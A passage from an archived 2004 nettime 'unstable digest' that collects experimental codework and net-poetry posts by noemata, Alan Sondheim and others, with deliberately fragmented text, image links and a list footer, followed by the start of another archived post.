(e((e(<)ef()()(sus)(st)\nc)(pi)<pi<jus)<(justc(a(<)amu<(<)amspi)(e(<)ef()(aspi)(jus)(\n(<)amd)(e(<)amd)(e(<)(p<(d)<a()(s(s)()(a)ef()(sjusa(<)amm)(s\np)(h)()(d))(a(<)amu<<(worst)(s(a(<)amd)(us)(spi)c)<)ef()st))\n(<)ef()(<)ste(<)ef()f(<((spi)(s)p)(juste(a(<)am(d)(wor<e(<)e\n)<(d)(u<)((<)ef()<(jp)stu<j)(ew)(e(<)ef(u<)(d)(d)<(wororst)(\nd<e(<)ef()st)(p)(e(<a(<)am<str(p)(a(<)am)ef()(d)s)spi)(c(s)(\n<)(p)(h)(e<)amh)(a(<)(h)(h)(a(uste(<)ef()amm)(ju<j<(ju(wo)(p\n)(((d)(d)mef(<(c)(<ars(c)(e(<)e(<)ef()(d(<)amd)tst(<)ef()(wo\n(s)(p)s)(s)amu(<(a(<<pi)<)(a(<)amd)ju<)<)amu<jua(<)(s(s)(p)(\nste(<)ef())ammwo(a(<(<jus)(a(<s)(p)(<sju)amm)(spi)(e(<)ef()<\n(<)ef(s)(a)(spi)()spa(<)amd)(s()pi)(c)(ei)<(e(<)ef<e(<)ef()(\n)(e(<)ef()<m)(spi)(e(d)(s)(p)(upp)(h))(c(<)ef()<(j(<)amurst)\np)(a(<)amd(spi)(c)<jh)(a(<)amm(<(<s)(s)(u)(spi)(c<((a(<)am)(\ni)(c<worst)(d)((worsuste(<)ef(d)(st))(spte(<)ef()()(d)(dp)(j\n<)am)(e(<)s)(p)(a(<)e(<)ef()<()amm)(s)a(amd)()(a(<)<pi)(just\nf()(se(<)est)(p)(h(<jus)(d)<(<p(c)(e(<)ee(<)ef()(sef()(woru<\n)(a(<)amui(<)amu<jups)(spd)((aam<(s<s)(si)(c)(a(<)f()spi)<ju\ne(<)ef()i)<)amm)(s)(ef()<h)(a((e(<)ef()(((a(<)amd))<(<)(e(<)\nu<jus)(spi()<(d)(s(smd)(e(<)ef(c)<a(<)ampi)(c)spi)(cp)(a(<)a\njuste(<)efpi)(c)(a(<(d)s)(s)(sef()()(p)()amd)(e(<))<((worst)\n)ef(worst))<te(<)ef()(worst)(dju<juste(<)(a(<)amu<()(d)(<)(d\n)(worst(d))(e(<)ef())ammspi)(ce(<)ef()(d<(jus<just(p)(h)(a(<\namd)(e(<)ep)(h)(a(<)<)ef()<()(s)(p)(a(<)amm)(spi)((s)(p)(<e(\n(d)(s)(p)((p)(hm)(spf()(worst))amd))((d)i)(c)(<a(<f()<(e(<)e\n)<(s)(p)(<a(<)am<u<jf()(p)(h)()amu<ju)(dus)(s)(a(<)(c)(e(<)e\nrst<)spi)<)(p)(a(<)aa(<)amm)(sef()(d)(womdjuste(<)(a(<)ams)(\nc)(a(<)amde(<)ef()<e(spi)(justef()(spi)((<)ef(e(<)(spi)(c)()\nmm)(s(h)(a)amu<jus<(()<(s)(a(<)(h)(a(<)ae(<)ef()(p)()(e(<)ef\nc)(<(p)<)()(e(<)ef()i)(c)pi)(cef()(spi)(<(juste(<)(<)amm)(sp\ne(<)ef()(wp)(juste(<d)<(d)(s)((a(<)amd)()ef((s)(p)d)(worst)(\n(<)amd)(e()<s)(a(<)a)(worst)(di)(s)(p)(amu<jus)(spe(<)ef()(d\namm)<pi)(c)(a(<)amu<uste(<)ef(p)(h)(a(<)jus)orst)(<)ef()<((j\n(<)ef()(sps)<(spi)(c(e(<)ef()((spi)(c)(e)(e(<)ef())(a(<)amd)\n)ef()(spi)spi<c)(e(<)amu<jus)(<)amd)(e(<)ef()c)(a(i)((s)(a(<\n(s)(auste)t)()(<(au<)(d)<(wors)(s)(p)us)jd)<(s)(pm(<)(h))((d\n<((ad)(e)<(juste)<usa<(s)(au<jpi)(e)spi))(spi)e)(s(d)u<jus)(\n)(ad)(e(p)m)(sp)(<(p(spi)(c)(a(i)(c)(e)c)(hm)(spi)spi)(c)(<)\n)<(je)(d)(s)(worst)()(d)d)(d)()(justc)(erst)(d)<(p(h)(a<uste\na(e)<(s)(<st)(p)(au<oh)(am)(srad)(s)(p)(jus)()(p)(wo<d)(e)(w\nc)(e)(<pi)s)(aspi)(cjus)(sus)(spi)(jus)()(pi)<(spite)(au<ju<\nspi<am)(s)e)<(worst)jus)<(just(e)(sjus)((s)(au<ad)(c)(e)(au<\n<us)(spi)c)(d)s)p)(j)(ad)(e)st)()(d)(woruste)(p)(h(p<(d)(s)(\nd)(wororstau<)(spi)(spi)(ste)((e)<(ju<)(c(s)(au<j))(ad)(e<((\nustrst)(p)(h)(am)(ju<w)(e)<(d))(ad<e)<(j<justes)(p)(p)st)(d)\nt)(p)(h)(eam)(s(s)(p(p)(h)(h)(e<(c)(<ad))(<pi)(c)((e)(d)(wo)\ns)(au(<(au)(am)(spi)(d)(((d)(d<(s)(p)s)(s)(p)(ju<))(worsste)\n(sjuste)<eorst)(d)(s(<jus)(amwpi)()spi)<)(p)(<s)(s<juad)(e)<\nam)(spi)(eu<ju)(spi))(c)(es)(a))(c)(e)(((c<(<(p)(h)(ad)(e)pi\n(s)(s)(p)())(spi)(c<(am(spi)(c(juste)(d)worst)(dp))<(jup)(h)\n)pi)(juste)(d)<(<st)ste)(d)(std)()(am)(s(p)(h(p)(aad)(d)(wor\n(e)(sp(c)()(s<s)(s)()(woru<jus<jus)(spd)aui)<(spi))<(s)(a)(e\nc)(e)<h)(a<(spi)(c)sjupi)(c)(a)(e)(e)i)(pi)(c)((ade)(se)(au<\n(au<jus)(ss)(p)(justd)(e)<(d)(t)(d)s)(s)e)(d)(worsm)(s)(p)(a\ne)(d)(wors(spi)(c)(e(c)(ad)(e)au<ju<just)<(juste)(pi)<((spi)\n(juste)(d)m)(s)(p)(at)(p)(h)(as)(p)(<e)<d)(e)<(d)(t)(d)<wors\n)(e)(worsti)(c)(e)(p(h)(alam)(esprpi)(deco)(rp>sad)(h)(am)\n(s(worst)(p)au<jus)(s)(juste)(d))(d)(s)(p)<(s)(p)(<((worst)(d))\n(p)(h)((de)spi)<(spd)(e)<(s)(m)(s)(p)(ai)(juste)<au<jus)(sp(au<\njus)(a)(e)(p)(h)(e)(spi)(cpi)(c)(ad)am)(spi)(c)(<(p)(h)(i)(c)(e)\n(se)(d)(worste)(d)(worc)(e)<(juss)(p)(justst)(d)(d)((am)(spi)(\n(s)(au<jusworst)(p)(p)(ad)(e)(p)(ad)(e)<h)(am)(s)(t)(d)<(s)(\nspi)(c)(ad)(s)(au<jute)(au<juspi)(c)(e)(s)(spi)<(s)(spi)(jus\n(c)(ad)(e)c)(e)(spi))(spi)(c)(e)(e)(spi)(\n\n\n\nDate: Mon, 13 Sep 2004 20:24:51 +0200\nFrom: noemata {AT} KUNST.NO\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: [iso-8859-1]   tidlimit\n\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\\\\\\\\\\\=FF=FE\\\\tidlimit\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\\\\\tulps\\\\\\\\\\\\\\\\\\\\\\\\\\\\gp\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\nt\\\\\\\\\\\\sc\n\\\\\\\\\\\\\\\\n//:p\\tt\\\\\\gn\\icneu\\\\\\ej\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ap\\\\\\\\\\\\e.\n\\\\\\\\oam\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\eon\\\\\\\\\\\\\\\\\\\\\\\\\\jpg\n\\\\\\//\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\:p\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\s\\\\\\\\eq\n\\\\tt\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\h\\\\\\\\\\\\\\\\\\\\\\\\\\\\ue\\\\\\\\nci\n\\\\g\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ni\\\\\\\\\\\\\\\\\\\\\\ng\\\\\\\\http\n\\c\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\z\\\\\\\\\\\\\\\\\\\\\\\\://n\\oe\\mata\n\\\\\\\\\\\\\\\\\\\\\\\\fetm\\e\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\on\\\\\\\\\\\\\\\\\\\\\\.net\\/var/re\n//\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\:p\\\\\\\\\\\\\\\\\\\\\\cursive_libr\n\\t\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\t\\\\\\\\\\\\\\\\\\\\\\ary.jpg\\\\\\\\d\n\\h\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\nail\\\\abcquenc\n\\\\\\noini\\\\\\jpg\\p\\\\l\\unt\\\\\\\\\\tenta\\\\\\ti\\\\\\\\\\\\\\\\\\\\\\in\\g\\\\http://n\n\\\\\\ve\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\oe\\mata.net/va\n\\\\\\\\\\fo\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\r\\l\\\\\\\\\\\\\\\\\\\\\\\\\\\\r/til_apolli\n\\\\\\\\\\\\anny\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ht\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\naire.jpg\n\\\\\\\\\\\\\\\\\\tp://\\\\\\\\\\\\\\\\\\\\\\\\noema\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\trans\\\\cr\n\\\\\\\\\\\\\\\\\\\\\\\\\\ta.net/var/plu\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\iption\\\\htt\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\p://noemata\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\.net/var/sd\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\gaa.jp\\\\g\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\http://\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\noemat\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\a.net/v\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ar/mrn\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\a.jp\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\g\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n=2E........................................................................\n              =FF=FE  tidlimit\n           tulps              gp\n         n//:p tt   gn icneu   ej\n     oam                          eon\n    //                              :p\n=2E........................................................................\n                                               FlwTmudZF e mV\n   3XGfQK8.DTXotIop5ngm6HR.kzLwOvu5f66rbCzA9rbZzix6_QHcqg--\nh\nt t                     p://noemata.net/var/FlwTmudZFemV3XG\nf\nQ K8.DTXotIop5ngm6HR.kzLwOvu5f66rbCzA9rbZzix6_QHcqg--.   jp\ng         __    lumber isbn 82-92428-05-4\n\n-------------------------------------------------------------------------\n=FF=FE  tid  l 00im  it  ......\n  tulps  0t0 u  l  p  s  ......\n  gp  gp  n//:p t 0  0  t  g n  ......\nn//:ptt  ic  0  0 0  ne  u  ej  ......\ngnicneu  o00 0  0  a 0  me  on  /  /  :  ptt  h  ......\nej  0  0  g 0  ni  c  z0  0  ......\noameon//:ptth  0  0  f et  m0e 0o  n/  /  :p t  ......\ngnicz  t h  no  in  i  0  j0 pg  0p  ......\nfetmeon//:ptth  lu n  t  0t  e  nta  ti  v  0  e  ......\nnoini  0  for  l  ann  y  0h  ttp  :  //  n  0  o00  ......\njpg plunt  em  ata.ne  t/v  a  r/  plun t  s  c a  pe.  ......\ntentative  j  pg  0  se  q0  u 0e  0  n c  ing  ......\nfor lanny  htt  p:/  /  noe  ma  0  t  0a.ne  t /  ......\nseq  v  ar  / re  c  ur  s i  v e  _ l 0  ibr ......\nuencing  0  ary.  j  pg  d n  a i l  0  0 ......\ndnail  0  a  bc  que  nc  in g  h  0 ......\nabcquencing  0  t  tp  ://no e ma  ta.n e  t/v  0a......\ntrans  r/ 0t  il  0_  apo  l0 li  na  0  ir......\ncription  e  .jp  g  tr  a  n0s  c0 ......\nFlwTmudZFemV3X  0 r ipt  ion  htt00  p:0/  /n o\nGfQK8.DTXotIop5ngm6HR.kzLwOvu5f66rbCzA9rbZzix6_QHcqg--......\n0e0 ma  ta  .  n  et /v ar/s  d0gaa  .jpg0  ......\n0  0  htt  p: /  /  n  oe  ma ta  . n0  ......\n0  et  /v  a r  /m  0  0r n  a. j  p  0  g ......\nF lwT  m  ud  Z 0  Fe  m  V3  XG 0  f QK  ......\n0 80.  DTX  ot Iop5n  g  0 m  6  HR  .k  zL0wO  ......\nv  u  5  f6  6rbCz0  A 09r00b Zz  ix6_  0Q  ......\n00  H cqg  --0  0  h  t tp00:  / /  ......\nno00  e ma  ta.n et  /  v  ar  /F0l  0  ......\n0 0 00  w T m 0u  dZ  F  em  V3  X 0  ......\n   G f Q K  8.D  0TX0  o  t  Iop  5  ng m  ......\n   0 6H R 0  . kzL 0wOv  u 5f  0 06  6  r  0  b 0  ......\n   0 C  z  A  9  r b0  Zz0i  x  6  _  QH c  00  ......\n   0 q g -  - .  j 0p  0  0  g  0  ......\n   0  _  0  _ 0  l 0u 0  ......\n   m  0  b  e  r  is  0 b0  n  0  82-  ......\n   9 2 042  08  -05  - 0  4\n-------------------------------------------------------------------------\nhttp://noemata.net/var/pluntscape.jpg\nhttp://noemata.net/var/recursive_library.jpg\nhttp://noemata.net/var/til_apollinaire.jpg\nhttp://noemata.net/var/sdgaa.jpg\nhttp://noemata.net/var/mrna.jpg\nhttp://noemata.net/var/FlwTmudZFemV3XGfQK8.DTXotIop5ngm6HR.kzLwOvu5f66rbC\nzA9rbZzix6_QHcqg--.jpg\n--0-765711125-1095102798=:2441--\n\n\n\nFrom: noemata {AT} kunst.no\nTo: WRYTING <WRYTING-L {AT} LISTSERV.UTORONTO.CA>, rhizome <list {AT} rhizome.org>,\nDate: Thu, 09 Sep 2004 11:59:07 +0200\nSubject: ma-ze\n\nm a-z e\n\nmassive a-z entropy\n\nhttp://noemata.net/var/P2307219.png\n\nrendering a-z density\n\nxsoxqyoog s rdahnc zw  s  p usol vxrjrruz qy  m zqajgag a qu tpzuy   v\nsa ia wzo afg  smnabciazoaaa hvotp tt cgaaaaaesaaigmsywag itpsnxptapka\n a asvwthuae  u   q t c qqabzdi   lmqtv  u paslctc wabzt amiveakaaaohm\nplseaq ny ks asahani alaxwfiri  ttk wmdrksmqq vl aaaapja   h   ul  y a\ns alrkxmjhpd lds aoowxuqmxjat papjymu ativjs  ko xv vm caar nyaj    wn\nko wyrztpsfht qyz a    ycqpf  b qoxpihfw o o dx l saa pa  t xlqwvy rwp\nne y ranxlzja ammaduczu qnar na ld nklcf xxd qn ase xsfa ogwhp axaiaak\nvis naad xkyiz yuvnrr ajnaxka p  s  snncnwnjtas akwqma o x xkaaay  vmz\nmvulrvxqsvh  oauzeuoav uq gcasrk  k  n owcivbz     m hx    p iat  oz  \ne evv dmpmoxxe qwna aa  nnse ofnacadfa l q pl aaaaanaujlvqk  aiacaaafw\n   nxtvlqfni k aaagnzofaaqyiqka a  ok fb pwd yvwkai tho qhaa aja  rltr\n uyyhmtq   askqa ra erssf eo  oxaaaammr gmaaapph  tzgeyotghi qusopuiay\n fwvxykfaaaaqaqgeotna   s  pn  vla    xup  a   npayh cefwhvc  aoooknzz\nxbt knvt   v w aahasaawaaagkaaufaaaaq a z rxfsssn  y  p  enhcsfawzawra\n vm zr xfrau  qg ea a xaervhrsx  xclria  elyhmrxy ipi djehsuagipahlb z\nk a   oay  u  qwpaaaajg ua    ap x  a xepatad jnaacmaqrbllxs  wl abap \nehwrzcetvtv zzlzbaaaagdwufnepvv slg aaaxa s  q s loogaagvc yasxsjad bx\nnieuu fu   xhmxsaawzalajq  gjuibrvb hfa rs  r  e        za g  zsj ftj \nvq re omckamlkxdaq w   qxowk   w  r a nrn hoaensaaaa aa wayjwxtlaaaja \no uqgoor  t kinaaaaaeaiaelap kt ll  hutgtvqsauqa aaa aaa hc faay qtsa \nxhkopisgea  l r  x  zal x r   j msdtovpfm xv  lu     amd ja    jn   wo\nuv  j at iapcn ru iadttszugkulbquswbaupwkltxrdyyzc bp   aa z inx yuoa \n mo g  a aj ew ba  u  u qrii skkel p  royjoxw oygvo mic td kelu m t ou\nwotaaaappi tesd itqql tsaxsoawi  gecumaw cd osahauwq kagob b vwseq   a\neayu  al t aavt u uo oqo ssujiaps  w or s ivru rrpqf    ao amk x mauxe\n p q vmph v  ka a bryospaoajb r p ov a vgpjg   tv  rdaac airip   pl ot\nohydagegnervn as  t rryc  v dwqo wul l n  o apa glttooua  jwfanctzk jr\nvgd yuzl rwwpa  aoda tlqwj arovlnp wfkvrnreyy w v s    katj  noaani pt\nv qjshnka  wsaoovj jxn  uz bfa mxvgrx t j  zla y aaateaa s aaak    avp\n wvn  a atisq a ysztakytnie  nvnxlfpsphva  iwu yma saa vzanpe  gaayyyo\nmns cdaoa xoisu       jrz jsa zsxx kq qrbujpaeor as xdaiakyptv saay ty\nyhwmayasxrtqh moiaajsmwovhw tni  q   xaemqj  pmasa kvzvdd  pja    p a \nesneasaqc   p z pv o  su i xa eeaaaafatkka lab kqaqnra  n  ltaatknaa a\n em appegsjalcanl   yumsfaajaju     uqyn  yaz kn aacasaisaiayka ed won\nxc wqpul qrkkhqoabaphft      y zo q p ekgsp xww samcp a aa   aa cuiz r\nmat mxzwumf j ywntsp   pjpfmz jgrreygi x  jt n aqt  v aaai tlad akaka \nuo wt  pplxeo uyef   xwvy    atoudy a waar i azs ab hapj galcau n aoad\nlaaaablseo npehokz r a m  waaama  l f k   r pplm vj aezagaaa qomapa   \nnotj r hka g     qda   faajg o   r o s  w  plx vxp pbaeioarpsangsabap \n las sor i bafdlnarpm ug xpipkslvfuwl    na a trru yaaggbja daaaaia yo\njj   zel zr z yb kuye r  nuajxxs      ynhof u iqyc akpohl   au   d v t\nuhoa aaate agwrkpparw bs     utoobbtehnunx haylnxlaaua   qac  tsntaaqt\nzeia ohz lswzxr pw  zlmrukheinzkxz hle hxh vmxfqa  aaasaai jshaaa xrjt\na  aftaaatpeqiavnhuxksjnmy kvyi nr m a jvopkrn uki uxqzv akaaae nqw   \ntih taasxfdhyaahaeepuxrxpzapyl tg vw z  q rs  pz a muxgplthvpaakaaiaas\npodinxzvtmyxtvv s elumpfegppbgallnnijgdhplk hmknmclmgn vnqgrtvnw vvzyq\n\n__\n\nlumber isbn 82-92428-05-4\n\n\n\n\n\n\nDate: Thu,  9 Sep 2004 12:59:43 +0200\nFrom: dolmensniper {AT} free.fr\nTo: Multiple recipients <LISTSERV {AT} LISTSERV.AOL.COM>\nSubject: Digital_Ultra_Contra_#002\n\nUS      UnCertified sick\n\nnot totally perishable\n\nFD      FD      FD      FD      NW      NW      FD      FD      FD      FD      FD      NW      NW      FD      FD      FD                      NW      NW                                              NW      NW                                                                                                              0:14\nHD      Half Day Holiday                                                                \"I herby certify that the above information is\ncorrect\nand should be invoiced accordingly by XXX:\nPlease do not approve unless employee confirmSupport\nManager:                                                        Date:                   Approved                        Additional Comments Notes:s that XXXXX is\nupto date\"                                                                                                                                                                                                                                              0:39\n                                                                                                         would prefer to pay on the lower end of 1 and 420.  1 sounds good.\nbut\nin any event, where in the hell is Clonskeagh i forgot.  i am from\nchicago via los angeles florence togo zagreb kyoto and blantyre.\n\n                                                                                                                                                                 0:40 water is recollection\n                                                                                                                                                                                                                                                                                                                                                                                                                         0:41 water is recollection\n                                                                                                                                                                                                                                                                                                                                                                                                                         0:42 water is recollection\n                                                                                                                                                                                                                                                                                                                                                                                                                         0:43 water is recollection\n                                                                                                                                                                                                                                                                                                                                                                                                                         0:44    Those persons then,\nare non-existent                                                                                                                                                                                0:20\n                         16      17      18      19      20      21      22      23      24      25      26      27      28      29      30      31      1       2       3       4       5       6       7       8       9       10      11      12      13      14      15      16      17      18      19                                                                                                              0:12            NW      Not\nWorking                                                         Overtime total for                                                                              Cyrill Duneau                                     this PP =     way to\nnormal a person\nto\nelicit in an email.  but you can ask            0:00    he's hiding away with the blondes oh\nand\ni really do need a room.  i'm no smoking quit in february\n\n\n\n\nthe star disappears in the presence of the sun.\n[IV, 432-3;435-43]\n                                                         0:27\n\n\n\nDate:         Mon, 13 Sep 2004 15:18:20 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: Mirror Site:   #1   #2   #3\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nMirror Site:   #1   #2   #3\n\n\nWhat time is it? Well,\n\n     :    , 13     2004 05:49:10 -1100\n\n                  {AT}     .        .            13 15:05:10 2004\n     :    , 13     2004 05:49:10 -1100\n     :                  <            {AT}     .        .   >\n   :                   <    {AT}      .   >\n        :         '\n\n                       -   1\n\n\n\n\n                                                   ,          -,\n  ,                      - -      `  ,   -                    . .\n   -  .   , '  ` ,      ,        ,  `  '  ,      ,\n\n        -,                             .   _~      ^~  ~   . '    ,\n                                                   .      --  '\n       _.  ^   _.             ` `                                        .\n                                                 .        .           --\n  .\n\n\n\n\n\n\n\n       . .         5118     .   /56/\n\n\n\n\n\"    '            .\" \"              .      ` -   '                      ,\n        , - , `                                '.      '                    ,\n                   ,                                     '         .  '\n                           '                                 ,\n    '         ,                                           .\n     ,              ,        '                  ,       '\n                                        '                       .      ,\n    '                  ,               '\n                   ^ ^  .\"                                            ,\n         ,                     , \"\n         17              07\n\nHow old are you?\n\n         17              07\n\n___\n\n\n\nDate:         Fri, 10 Sep 2004 01:34:30 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: anonymizer text failure\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nanonymizer text failure\n\n..... ls --- ..... b --- ..... s --- ..... ls --- ..... b --- ..... m ---\n..... ls --- ..... script zz --- ..... pico zz --- mv zz zz.htm; lynx\nzz.htm --- rm zz.htm; ./mod --- pico zz --- strings zz > zzz --- pico zzz\n--- rm yy zz zzz --- cd a --- pico -w looply.pl --- cd --- ls --- script\nzz.htm --- lynx zz.htm --- mv zz.txt zz; ./mod --- rm zz.htm zz yy --- ls\n--- cd a --- pico looply.pl --- cd --- script zz.htm --- lynx zz.htm ---\n./mod --- rm zz zz.htm yy --- cd a --- pico -w looply.pl --- cd --- pico\nGoo* --- rm a/loop.pl; pico a/loopy.pl --- pico a/looply.pl --- cd ---\nscript --- mv typescript zz.htm --- lynx zz.htm --- ./mod --- strings zz >\nyy --- rm zz zz.htm --- pico yy --- cd a --- pico jj.pl --- cd --- ls ---\nmv yy zz --- perl a/jj.pl > yy --- wc yy --- pico yy --- ls --- rm yy zz\n--- h ---\n\nfailure was built-in to this piece\n\n_\n\n\n\n\n\nnettime unstable digest vol 87\nThu Sep 16 21:25:17 2004\n\n\nSubject: _d[ata]ream.discharge_   03:59pm 12/09/2004\n    From: mz wierDOS <netwurker {AT} HOTKEY.NET.AU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: re:interview on saturday at 16-00 -  Wed,\n    From: Peter Luining <email {AT} ctrlaltdel.org>\n    To: Syndicate <syndicate {AT} anart.no>\n\nSubject: )<(je)(d)(s)(worst)()(d)d)(d)()(justc)(erst)(d)<(p(h)(a<uste\n    From: tongue-flatchet.spiderveil <solipsis {AT} GMAIL.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: [iso-8859-1]   tidlimit\n    From: noemata {AT} KUNST.NO\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: ma-ze\n    From: noemata {AT} kunst.no\n    To: WRYTING <WRYTING-L {AT} LISTSERV.UTORONTO.CA>, rhizome <list {AT} rhizome.org>,\n\nSubject: Digital_Ultra_Contra_#002\n    From: dolmensniper {AT} free.fr\n    To: Multiple recipients <LISTSERV {AT} LISTSERV.AOL.COM>\n\nSubject: Mirror Site:   #1   #2   #3\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: anonymizer text failure\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \nryan whyte <ryan.whyte {AT} utoronto.ca>\n    wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 18 Sep 2004 13:54:21 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "E1C8p2F&#45;0001Di&#45;LU {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0409/msg00024.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 87"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00008",
                "content": "\n\n\nDate:         Fri, 27 Aug 2004 15:26:43 -0700\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nSubject: IM txt\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n4;1\nsoc.dklar 0 b real\n: statehood/00\ni: istha statemen[t(m)]\n\n\n4;2\nsoc.dklar all/tot/al meanin &powr x-minus all/tot/al\nwords\n:sois defined/sos i\ni: isa definition\n\n\n4;3\nsoc.dklar bx-real\n:fax =\ni:erealtheal com/alt\n\n\n4;4\nsoc.dklar ~ 4 ever\n:pi to 0\ni:y\n\n\n4;5\nsoc.dklar + good\n:godhood\ni: ?\n1\n\nx(xpurged) 2 pas | & o|o ~ 2 pro x(xpurged) con prod &\n() watched brotherhood & x(xpurged) it ~ good\n~+... pasd\n+++~&...pasd\n\ncame sense of 0 and ...lost power 2 heal etc. (4;2)\nall w 0 = 0\nx(xpurged) prod.& turnd from x(xpurged) 2 archaic all\ntm bot X satis/status/faction[s] & call'd out in the\nnight x(xpurged) & ways it came 2b cast out\nfrom definition to meaning x(xpurged) this deemed\ngood:\nlivers like that of calves\nstomachs flat as hungry pythons\nlungs made fresh\nhearts out of jars\n| come as much as mother wrens to feed their young\no|o breasts made to detatch as fash prod declared\nall  lux & things of flesh and numbers were made words\n symbols clashed and x(xpurged) was made eternal in\nthis world  though there was no shortage of food and\nall things were good\nx(xpurged) some in their x(xpurged) in their luminent\nhomes hid x(xpurged) x(xpurged)\nmind x(xpurged)x(xpurged)x(xpurged)\nthe eternal real x(xpurged) yearning that could not be\ndefined but meant x(xpurged)\nto expand not contract x(xpurged) each alone ashamed\nof want when there was no  need and so it came many of\nthese left x(xpurged) in pairs and by ones to where\nthey once burned  men and barefoot with 